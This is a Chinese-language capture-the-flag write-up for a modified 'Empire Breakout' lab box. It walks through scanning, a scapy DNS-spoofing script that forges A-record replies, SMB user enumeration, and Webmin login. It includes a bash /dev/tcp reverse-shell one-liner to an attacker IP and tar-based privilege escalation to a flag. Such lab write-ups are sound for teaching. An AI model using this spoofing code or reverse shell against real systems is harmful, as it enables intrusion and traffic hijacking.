帝国突围改版box渗透

端口扫描,查找内网存活主机

帝国突围改版box渗透_第1张图片

成功扫描到可疑IP 192.168.101.131

帝国突围改版box渗透_第2张图片

端口扫描

帝国突围改版box渗透_第3张图片

进80端口审查元素可以看到密码:

帝国突围改版box渗透_第4张图片

进10000和20000端口均为webmin的管理界面,推测密码与这个有关

帝国突围改版box渗透_第5张图片

由于box开启smb服务,尝试连接smb服务器:

image-20221004103203896

发现失败,使用wireshark监听数据包,发现box想要请求vulnerablevm111.localdomain的IP地址,但网关返回NXDomain。

尝试搭建bind服务器,替换原有DNS服务器,添加解析记录vulnerablevm111.localdomain:

帝国突围改版box渗透_第6张图片

配置虚拟机DNS:

帝国突围改版box渗透_第7张图片

发现仍然失败,网关并未转发box的A记录请求给搭建的DNS服务器(192.168.101.129):

帝国突围改版box渗透_第8张图片

既然网关不转发,那就自行搭建一个DNS数据包嗅探器,主动响应vulnerablevm111.localdomain的A记录请求:

# coding utf-8
import scapy.packet
from scapy.all import *
import socket
import threading

from scapy.layers.dns import DNS, DNSQR, DNSRR
from scapy.layers.inet import IP, UDP

# should end with a "."
domain = b'vulnerablevm111.localdomain'


def callback(pkt: scapy.packet.Packet):
    try:
        print(pkt.getlayer(DNS))
        if pkt.haslayer(DNS) and domain in pkt[DNS].qd.qname \
                and pkt[DNS].qr == 0:
            serverIp = pkt[IP].dst
            realResolverIp = pkt[IP].src
            serverPort = pkt[UDP].dport
            realResolverPort = pkt[UDP].sport
            queryName = pkt[DNS].qd.qname
            qid = pkt[DNS].id

            send(IP(src=serverIp, dst=realResolverIp)
                 / UDP(sport=serverPort, dport=realResolverPort)
                 / DNS(id=qid, qr=1, opcode='QUERY', aa=0, tc=0, rd=1, ra=0, z=0, ad=0, cd=0, rcode='ok', qdcount=1,
                       ancount=1, nscount=0, arcount=0,
                       qd=(DNSQR(qname=queryName, qtype='A')),
                       an=(DNSRR(rrname=queryName, ttl=3600, type='A', rdata='192.168.101.131'))))
            print('send ok')
    except Exception as e:
        traceback.print_exc()


def port53Listen():
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        udp_socket.bind(("", 53))
    except OSError:
        # another service is using port 53, which should be fine
        return
    while True:
        udp_socket.recvfrom(0)


# if os.geteuid() != 0:
#     print('Please run in root')
#     exit(1)

# stop named service in case it will affect our response
# os.system('service named stop')

# open 53 port
t = threading.Thread(target=port53Listen)
t.daemon = True
t.start()

flt = 'udp dst port 53'
print(f'start listen, filter: {flt}')
# start 53 port listen and response
sniff(prn=callback, filter=flt, iface='VMware Network Adapter VMnet8')

帝国突围改版box渗透_第9张图片

image-20221004103930595

成功收到服务器响应。

使用enum4linux遍历smb用户:

image-20221004104103360

帝国突围改版box渗透_第10张图片

发现用户名:masterchef

使用之前获取的密码broccoli登录webmin,发现20000端口可以进入:

左下角进入webmin终端,发现一个welcome.txt文件

帝国突围改版box渗透_第11张图片

尝试使用bash反弹shell:

box执行:

bash -c 'exec bash -i &>/dev/tcp/192.168.101.128/8888 <&1'

帝国突围改版box渗透_第12张图片

帝国突围改版box渗透_第13张图片

kali nc嗅探,得到shell

帝国突围改版box渗透_第14张图片

tar文件可执行

image-20221004105504835

进入var文件夹,发现backups下面有文件:

帝国突围改版box渗透_第15张图片

image-20221004110302774

里面有一串字符串:Ts&4&YurgtRX(=~h

怀疑是root密码,尝试登录root:

image-20221004112235238

登录失败,怀疑该备份文件与之前的tar程序有关,尝试使用tar程序压缩和解压这个文件:

image-20221004112415999

image-20221004112455908

获取到另一个密码:

image-20221004112444857

成功获取到flag:FLAG{UH0H_1_H4V3_B33N_3XP053D!1!1@@}

帝国突围改版box渗透_第16张图片

你可能感兴趣的:(ctf,python,开发语言,ctf,linux,web安全)